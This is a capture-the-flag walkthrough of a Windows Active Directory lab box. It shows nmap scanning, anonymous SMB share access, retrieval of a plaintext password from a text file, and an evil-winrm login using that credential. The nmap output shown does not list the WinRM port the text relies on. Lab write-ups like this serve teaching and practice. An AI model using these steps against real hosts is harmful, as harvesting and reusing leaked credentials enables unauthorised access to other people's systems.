Summary

Cicada is a Windows box that starts with a classic AD mistake: an anonymous SMB share leaking a password in a text file. From there it’s a walk up the AD trust tree. A great introduction to Windows enumeration.

Recon

$ nmap -sC -sV 10.10.198.24
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds

SMB anonymous access

$ smbclient -L //10.10.198.24 -N
Sharename       Type      Comment
---------       ----      -------
ADMIN$          Disk      Remote Admin
C$              Disk      Default share
HR              Disk

$ smbclient //10.10.198.24/HR -N
smb: \> get notice.txt
smb: \> exit
$ cat notice.txt
[!] The password for the HR department user is: Cicada$M6Corpb*@Lp#nN!R

Getting a shell

With valid credentials, use evil-winrm (WinRM is open on 5985) to get a session as the HR user, then enumerate for the next privilege step.

$ evil-winrm -i 10.10.198.24 -u m.tullius -p 'Cicada$M6Corpb*@Lp#nN!R'

Flags

user.txt: 4a9beb8f...
root.txt: ff4ec32b...

Lessons

1. Always try anonymous SMB — it’s a 5-second check that catches real misconfigurations all the time.
2. Passwords in readable shares are a top-tier AD finding; think about what an auditor would flag.
3. WinRM + evil-winrm is the fastest way onto modern Windows boxes.